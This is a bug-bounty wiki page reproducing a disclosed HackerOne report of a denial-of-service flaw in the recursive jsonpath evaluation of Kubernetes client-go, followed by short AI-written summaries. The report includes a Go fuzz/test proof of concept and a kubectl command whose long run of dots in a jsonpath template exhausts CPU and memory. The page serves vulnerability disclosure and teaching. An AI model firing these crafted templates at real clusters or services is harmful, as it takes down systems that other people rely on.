Skip to content
DoS Disclosed report Intermediate

DoS for client-go jsonpath func

A recursive descent in the jsonpath library used by client-go can cause excessive CPU and memory consumption when processing a crafted template. An attacker who controls the jsonpath expression could cause a denial of service.

lazydog Follow

Originally disclosed on HackerOne

  • Triaged in 7 days
  • Fixed in 58 days
  • Paid in 16 days
  • Disclosed after 59 days

Summary:

jsonpath recursive descent cause a DoS vul kubectl apiextensions-apiserver cli-runtime and kubernetes is depends on client-go

I think evalRecursive() cause of this vulnerability function pos: client-go/util/jsonpath/jsonpath.go:451

Component Version:

client-go:master

Steps To Reproduce:

i written a simple fuzz based on go-fuzz, im so lucky to found a crasher.

  1. pull the latest kubernetes code
git clone https://github.com/kubernetes/kubernetes

2.change workdir to kubernetes/staging/src/k8s.io/client-go/util/jsonpath 3.copy this poc to disk use vim or cat, change filename to crash_tests.go

package jsonpath

import (
	"testing"
 	"bytes"
 	"encoding/json"
)

type jsonpathcrashTest struct {
 name     string
 template string
 input    interface{}
}

func FuzzParse(test *jsonpathcrashTest, allowMissingKeys bool) error {

 j := New(test.name)

 j.AllowMissingKeys(allowMissingKeys)
 err := j.Parse(test.template)
 if err != nil {
  return err
 }

 buf := new(bytes.Buffer)
 err = j.Execute(buf, test.input)
 if err != nil {
  return err
 }

 return err
}

func Fuzz(data []byte) int {
 var input = []byte(`{
  "kind": "List",
  "items":[
    {
   "kind":"None",
   "metadata":{
     "name":"127.0.0.1",
     "labels":{
    "kubernetes.io/hostname":"127.0.0.1"
     }
   },
   "status":{
     "capacity":{"cpu":"4"},
     "ready": true,
     "addresses":[{"type": "LegacyHostIP", "address":"127.0.0.1"}]
   }
    },
    {
   "kind":"None",
   "metadata":{
     "name":"127.0.0.2",
     "labels":{
    "kubernetes.io/hostname":"127.0.0.2"
     }
   },
   "status":{
     "capacity":{"cpu":"8"},
     "ready": false,
     "addresses":[
    {"type": "LegacyHostIP", "address":"127.0.0.2"},
    {"type": "another", "address":"127.0.0.3"}
     ]
   }
    }
  ],
  "users":[
    {
   "name": "myself",
   "user": {}
    },
    {
   "name": "e2e",
   "user": {"username": "admin", "password": "secret"}
   }
  ]
   }`)

 var nodesData interface{}
 err := json.Unmarshal(input, &nodesData)
 if err != nil {
  print(err)
 }

 fuzzData := string(data)

 test := jsonpathcrashTest{name: "crash", template: fuzzData, input: nodesData}

 err = FuzzParse(&test, false)
 if err != nil {
  return 0
 }

 err = FuzzParse(&test, true)
 if err != nil {
  return 0
 }

 return 1
}


func TestCrash(t *testing.T) {
	var data = []byte("{..................." +
	"...................." +
	"...................." +
	"...................." +
	"...................." +
	"...................." +
	"...................." +
	"...................." +
	"...................." +
	"..........51}.")
	Fuzz(data)
}

4.run go test command, now we can see the test process use a lot of cpu and memeory

DoS_1.png
DoS_1.png From the original on HackerOne

5.i found a real case in kubectl, if resource (like services pods node) has any record can cause DoS.

kubectl get services -o=jsonpath="{.....................................................................................................................................}"
DoS_2.png
DoS_2.png From the original on HackerOne

Impact

maybe in some scenes, attacker can cause DoS.

eg. cloud components use client-go util to process cluster resouce json record.

any other program exec kubectl with jsonpath options, and jsonpath params by user control.

The original report as published on HackerOne, by lazydog. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the recursive descent function evalRecursive() does not limit recursion depth or resource usage when processing certain jsonpath templates.

Impact

An attacker could cause a denial of service by supplying a crafted jsonpath expression, potentially affecting cloud components or any program that runs kubectl with user-controlled jsonpath parameters.

What the attacker needed

Attacker controls jsonpath expression; program uses client-go jsonpath or kubectl

How it was found

  1. Clone the Kubernetes repository and change to the client-go jsonpath directory.
  2. Create a Go test file containing a fuzz function that parses and executes a jsonpath template against sample JSON data.
  3. Run go test to observe high CPU and memory usage.
  4. Run kubectl get services with a jsonpath expression containing many dots to trigger the issue.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report is about a denial-of-service bug in a Go library called client-go, which is used by Kubernetes tools. A specially crafted search pattern (jsonpath) makes the program use too much CPU and memory, so it can slow down or crash. An attacker who can supply that pattern could take the service down.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by lazydog

View all

3 more disclosed reports, best first.

More from Kubernetes

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.